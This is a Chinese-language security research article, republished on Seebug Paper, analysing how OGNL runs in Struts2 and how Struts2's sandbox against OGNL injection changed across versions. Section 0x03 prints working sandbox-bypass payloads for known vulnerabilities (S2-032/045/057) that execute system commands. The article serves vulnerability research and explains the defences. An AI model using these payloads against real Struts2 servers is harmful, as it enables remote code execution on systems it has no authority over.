作者:Lucifaer
博客:https://www.lucifaer.com

在分析Struts2漏洞的過程中就一直想把OGNL的運行機制以及Struts2對OGNL的防護機制總結一下,但是一直苦于自己對Struts2的理解不是很深刻而遲遲無法動筆,最近看了lgtm的這篇文章收獲良多,就想在這篇文章的基礎上總結一下目前自己對于OGNL的一些理解,希望師傅們斧正。

0x01 OGNL與Struts2

1.1 root與context

OGNL中最需要理解清楚的是root(根對象)、context(上下文)。

  • root:root可以理解為是一個java對象,表達式所規定的所有操作都是通過root來指定其對哪個對象進行操作。
  • context:context可以理解為對象運行的上下文環境,context以MAP的結構,利用鍵值對關系來描述對象中的屬性以及值。

Struts2框架使用了標準的命名上下文(naming context,我實在是不知道咋翻譯了-. -)來執行OGNL表達式。處理OGNL的最頂層對象是一個Map對象,通常稱這個Map對象為context map或者context。而OGNL的root就在這個context map中。在表達式中可以直接引用root對象的屬性,如果需要引用其他的對象,需要使用#標明

框架將OGNL里的context變成了我們的ActionContext,將root變成了valueStack。Struts2將其他對象和valueStack一起放在ActionContext中,這些對象包括applicationsessionrequest context的上下文映射。下面是一個圖例:

img

1.2 ActionContext

ActionContext是action的上下文,其本質是一個MAP,簡單來說可以理解為一個action的小型數據庫,整個action生命周期(線程)中所使用的數據都在這個ActionContext中。而對于OGNL來說ActionContext就是充當context的,并且在框架中

這里盜一張圖來說明ActionContext中存有哪些東西:

img

可以看到其中有三個常見的作用域requestsessionapplication

  • attr作用域則是保存著上面三個作用域的所有屬性,如果有重復的則以request域中的屬性為基準。
  • paramters作用域保存的是表單提交的參數。
  • VALUE_STACK,也就是常說的值棧,保存著valueStack對象,也就是說可以通過ActionContext訪問到valueStack中的值。

1.3 valueStack

值棧本身是一個ArrayList,充當OGNL的root

img

root在源碼中稱為CompoundRoot,它也是一個棧,每次操作valueStack的出入棧操作其實就是對CompoundRoot進行對應的操作。每當我們訪問一個action時,就會將action加入到棧頂,而提交的各種表單參數會在valueStack從頂向下查找對應的屬性進行賦值。

這里的context就是ActionContext的引用,方便在值棧中去查找action的屬性。

1.4 ActionContext和valueStack的關系

可以看到其實ActionContextvalueStack是“相互包含”的關系,當然準確點來說,valueStackActionContext中的一部分,而ActionContext所描述的也不只是一個OGNLcontext的代替品,畢竟它更多是為action構建一個獨立的運行環境(新的線程)。而這樣的關系就導致了我們可以通過valueStack訪問ActionContext中的屬性而反過來亦然。

其實可以用一種不是很標準的表達方式來描述這樣的關系:可以把valueStack想成ActionContext的索引,你可以直接通過索引來找到表中的數據,也可以在表中找到所有數據的索引,無非是書與目錄的關系罷了。

0x02 OGNL的執行

2.1 初始化ValueStack

我們從代碼的角度來看看OGNL的執行流。從Struts2框架的代碼中,我們可以清楚的看到OGNL的包是位于xwork2中的,而連通Struts2與xwork2的橋梁就是ActionProxy,也就是說在ActionProxy接管整個控制權前,FilterDispatcher就已經完成了對ActionContext的建立與初始化。

而具體的代碼是在org.apache.struts2.dispatcher.PrepareOperations中:

img

在這里如果沒有Context存在的話,則會調用ValueStackFactory這個接口的createValueStack方法,跟進看一下:

img

跟進OgnlValueStackFactory

img

這幾個參數分別為:

img

跟進看一下OgnlValueStack的構造方法:

img

img

可以看到設置根、設置安全防范措施、以及調用Ognl.createDefaultContext來創建默認的Context映射:

img

img

這里我們跟到OgnlContext中看一下,有這么幾個對象時比較重要的,他們規定了OGNL計算中的計算規則處理類:

img

  • _root:在OgnlContext內維護著的Root對象,它是OGNL主要的操作對象
  • _values:如果希望在OGNL計算時使用傳入的Map作為上下文環境,OGNL依舊會創建一個OgnlContext,并將所傳入的Map中所有的鍵值對維護在_values變量中。這個變量就被看作真正的容器,并在OGNL的計算中發揮作用。
  • ClassResolver:指定處理class loading的處理類。實際上這個處理類是用于指定OGNL在根據Class名稱來構建對象時,尋找Class名稱與對應的Class類之間對應關系的處理方式。在默認情況下會使用JVM的class.forName機制來處理。
  • TypeConverter:指定處理類型轉化的處理類。這個處理類非常關鍵,它會指定一個對象屬性轉化成字符串以及字符串轉化成Java對象時的處理方式。
  • MemberAccess:指定處理屬性訪問策略的處理方式。

可以看到這里的ClassResolver是有關類的尋址以及調用的,也就是常說的所謂的執行。

2.2 將現有的值和字段添加進ValueStack中(構造)

在初始化了ValueStack后,發現了后面的container.inject(stack);,這里是將依賴項注入現有的字段和方法,而在這個地方會調用com.opensymphony.xwork2.ognl.OgnlValueStack$setOgnlUtil將我們所關心的黑名單給添加進來:

img

然而其根本的作用是創建_memberAccess

這里可以注意到調用棧中首先是初始化了ValueStack之后再通過OgnlUtil這個API將數據和方法注入進ValueStack中,而ValueStack又是利用OgnlContext來創建的,所以會看到OgnlContext中的_memberAccess與securityMemberAccess是同一個SecurityMemberAccess類的實例,而且內容相同,也就是說全局的OgnlUtil實例都共享著相同的設置。如果利用OgnlUtil更改了設置項(excludedClasses、excludedPackageNames、excludedPackageNamePatterns)則同樣會更改_memberAccess中的值。

這里可能不太好理解,可以看下面這幾張圖:

  1. 首先ValueStack本身是個OgnlContext

    img

  2. 之后調用setOgnlUtil添加黑名單:

  3. 然后OgnlUtil中的這些值賦給SecurityMemberAccess

    img

    img

  4. 也就是與OgnlContext中的_memberAccess建立關系,即創建了_memberAccess

    img

    而這一點在沙箱繞過時起到了很重要的作用。

2.3 創建攔截器(Interceptor)

在之后當控制權轉交給ActionProxy時會調用OgnlUtil作為操作OGNL的API,在創建攔截器(Interceptor)時會調用com.opensymphony.xwork2.config.providers.InterceptorBuilder

img

在這里利用工場函數來創建攔截器,跟進看一下:

img

img

img

img

img

img

也就是把設置好的黑名單賦到SecurityMemberAccess中,在當前的上下文中用以檢驗表達式所調用的方法是否允許被調用。

2.4 OGNL執行(利用反射調用)

說完了初始化,再來說一下所謂的OGNL執行,在這里引用一下《Struts2技術內幕》這本書的一個表,這個表主要列舉了OGNL計算時所需要遵循的一些重要的計算規則和默認實現類:

-w768

接下來就跟進CompoundRootAccessor看一下:

img

img

在這里拓展了ognl.DefaultClassResovler,可以支持一些特殊的class名稱。

0x03 OGNL的攻防史

回看S2系列的漏洞,每當我們找到一個可以執行OGNL表達式的點在嘗試構造惡意的OGNL時都會遇到這個防護機制,在我看了lgtm這篇文章后,我就想把圍繞SecurityMemberAccess的攻防歷史來全部梳理一遍。

可以說所有在對于OGNL的攻防全部都是基于如何使用靜態方法。Struts2的防護措施從最開始的正則,到之后的黑名單,在保證OGNL強大功能的基礎上,將可能執行靜態方法的利用鏈給切斷。在分析繞過方法時,需要注意的有這么幾點:

  • struts-defult.xml中的黑名單
  • com.opensymphony.xwork2.ognl.SecurityMemberAccess
  • Ognl

以下圖例左邊都是較為新的版本,右邊為老版本。

3.1 Struts 2.3.14.1版本前

S2-012、S2-013、S3-014的出現促使了這次更新,可以說在跟新到2.3.14.1版本前,ognl的利用基本屬于不設防狀態,我們可以看一下這兩個版本的diff,不難發現當時還沒有出現黑名單這樣的說法,而修復的關鍵在于SecurityMemberAccess

img

左邊是2.3.14.1的版本,右邊是2.3.14的版本,不難看出在這之前可以通過ognl直接更改allowStaticMethodAccess=true,就可以執行后面的靜態方法了,所以當時非常通用的一種poc是:

(#_memberAccess['allowStaticMethodAccess']=true).(@java.lang.Runtime@getRuntime().exec('calc'))

而在2.3.14.1版本后將allowStaticMethodAccess設置成final屬性后,就不能顯式更改了,這樣的poc顯然也失效了。

3.2 Struts 2.3.20版本前

在2.3.14.1后雖然不能更改allowStaticMethodAccess了,但是還是可以通過_memberAccess使用類的構造函數,并且訪問公共函數,所以可以看到當時有一種替代的poc:

(#p=new java.lang.ProcessBuilder('xcalc')).(#p.start())

直到2.3.20,這樣的poc都可以直接使用。在2.3.20后,Struts2不僅僅引入了黑名單(excludedClasses, excludedPackageNames 和 excludedPackageNamePatterns),更加重要的是阻止了所有構造函數的使用,所以就不能使用ProcessBuilder這個payload了。

3.3 Struts 2.3.29版本前

左為2.3.29版本,右邊為2.3.28版本

img

從黑名單中可以看到禁止使用了ognl.MemberAccessognl.DefaultMemberAccess,而這兩個對象其實就是2.3.20-2.3.28版本的通用繞過方法,具體的思路就是利用_memberAccess調用靜態對象DefaultMemberAccess,然后用DefaultMemberAccess覆蓋_memberAccess。那么為什么說這樣就可以使用靜態方法了呢?

我們先來看一下可以在S2-032、S2-033、S2-037通用的poc:

(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(@java.lang.Runtime@getRuntime().exec('xcalc'))

我們來看一下ognl.OgnlContext@DEFAULT_MEMBER_ACCESS

img

看過上一節的都知道,在程序運行時在setOgnlUtil方法中將黑名單等數據賦給SecurityMemberAccess,而這就是創建_memberAccess的過程,在動態調試中,我們可以看到這兩個對象的id甚至都是一樣的,而SecurityAccess這個對象的父類本身就是ognl.DefaultMemberAccess,而其建立關系的過程就相當于繼承父類并重寫父類的過程,所以這里我們利用其父類DefaultMemberAccess覆蓋_memberAccess中的內容,就相當于初始化了_memberAccess,這樣就可以繞過其之前所設置的黑名單以及限制條件。

3.4 Struts 2.3.30+/2.5.2+

到了2.3.30(2.5.2)之后的版本,我們可以使用的_memberAccessDefaultMemberAccess都進入到黑名單中了,覆蓋的方法看似就不行了,而這個時候S2-045的payload提供了一種新的思路:

(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))

可以看到繞過的關鍵點在于:

  • 利用Ognl執行流程利用container獲取了OgnlUtil實例
  • 清空了OgnlUtil$excludedClasses黑名單,釋放了DefaultMemberAccess
  • 利用setMemberAccess覆蓋

而具體的流程可以參考2.2的內容。

3.5 Struts 2.5.16

分析過S2-057后,你會發現ognl注入很容易復現,但是想要調用靜態方法造成代碼執行變得很難,我們來看一下Struts2又做了哪些改動:

  • 2.5.13版本后禁止訪問coontext.map

    準確來說是ognl包版本的區別,在2.5.13中利用的是3.1.15版本,在2.5.12版本中使用的是3.1.12版本:

    img

    而這個改變是在OgnlContext中:

    img

    不只是get方法,put和remove都沒有辦法訪問了,所以說從根本上禁止了對context.map的訪問。

  • 2.5.20版本后excludedClasses不可變了,具體的代碼在這里

所以在S2-045時可使用的payload已經沒有辦法再使用了,需要構造新的利用方式。

文章提出了這么一種思路:

  • 沒有辦法使用context.map,可以調用attr,前文說過attr中保存著整個context的變量與方法,可以通過attr中的方法返回給我們一個context.map
  • 沒有辦法直接調用excludedClasses,也就不能使用clear方法來清空,但是還可以利用setter來把excludedClasses給設置成空
  • 清空了黑名單,我們就可以利用DefaultMemberAccess來覆蓋_memberAccess,來執行靜態方法了。

而這里又會出現一個問題,當我們使用OgnlUtilsetExcludedClassessetExcludedPackageNames將黑名單置空時并非是對于源(全局的OgnlUtil)進行置空,也就是說_memberAccess是源數據的一個引用,就像前文所說的,在每次createAction時都是通過setOgnlUtil利用全局的源數據創建一個引用,這個引用就是一個MemberAccess對象,也就是_memberAccess。所以這里只會影響這次請求的OgnlUtil而并未重新創建一個新的_memberAccess對象,所以舊的_memberAccess對象仍未改變。

而突破這種限制的方式就是再次發送一個請求,將上一次請求已經置空的OgnlUitl作為源重新創建一個_memberAccess,這樣在第二次請求中_memberAccess就是黑名單被置空的情況,這個時候就釋放了DefaultMemberAccess,就可以進行正常的覆蓋以及執行靜態方法。

poc為:

(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))

(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('curl 127.0.0.1:9001'))

需要發送兩次請求:

img

img

img

0x04 現階段的OGNL

Struts2在 2.5.16版本后做了很多修改,截止到寫文章的時候,已經更新到2.5.20,接下來我將把這幾個版本的區別全部都列出來,并且說明現在繞過Ognl沙箱面臨著哪些阻礙。同上一節,左邊都為較新的版本,右邊為較舊的版本。

4.1 2.5.17的改變(限制命名空間)

  1. 黑名單的變動,禁止訪問com.opensymphony.xwork2.ognl.

    img

    講道理,2.5.17版本的修補真的是很暴力,直接在黑名單中加上了com.opensymphony.xwork2.ognl.也就是說我們根本沒辦法訪問這個Struts2重寫的ognl包了。

  2. 切斷了動態引用的方式,需要利用構造函數生成

    img

    不談重寫了setExcludedClassessetExcludedPackageNamePatterns,單單黑名單的改進就極大的限制了利用。

4.2 2.5.19的改進

  1. ognl包的升級,從3.1.15升級到3.1.21

    img

  2. 黑名單改進

  3. OgnlUtilsetXWorkConvertersetDevModesetEnableExpressionCachesetEnableEvalExpressionsetExcludedClassessetExcludedPackageNamePatternssetExcludedPackageNamessetContainersetAllowStaticMethodAccesssetDisallowProxyMemberAccess都從public方法變成了protected方法了:

    img

    img

也就是說沒有辦法顯式調用setExcludedClassessetExcludedPackageNamePatternssetExcludedPackageNames了。

4.3 master分支的改變

  1. ognl包的升級,從3.1.21升級到3.2.10,直接刪除了DefaultMemberAccess.java,同時刪除了靜態變量DEFAULT_MEMBER_ACCESS,并且_memberAccess變成了final:

    img

    img

  2. SecurityMemberAccess不再繼承DefaultMemberAccess而直接轉為MemberAccess接口的實現:

    img

可以看到Struts2.5.*基本上是對Ognl的執行做出了重大的改變,DefaultAccess徹底退出了歷史舞臺意味著利用父類覆蓋_memberAccess的利用方式已經無法使用,而黑名單對于com.opensymphony.xwork2.ognl的限制導致我們基本上沒有辦法利用Ognl本身的API來更改黑名單,同時_memberAccess變為final屬性也使得S2-057的這種利用_memberAccess暫時性的特征而進行“重放攻擊”的方式測地化為泡影。

4.4 總結

Struts2隨著其不斷地發展,減少了原來框架的一部分靈活性而大大的增強了其安全性,如果按照master分支的改動趨勢上看,以我的理解上來說,可以說現在基本上沒得搞…

0x05 Reference


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/794/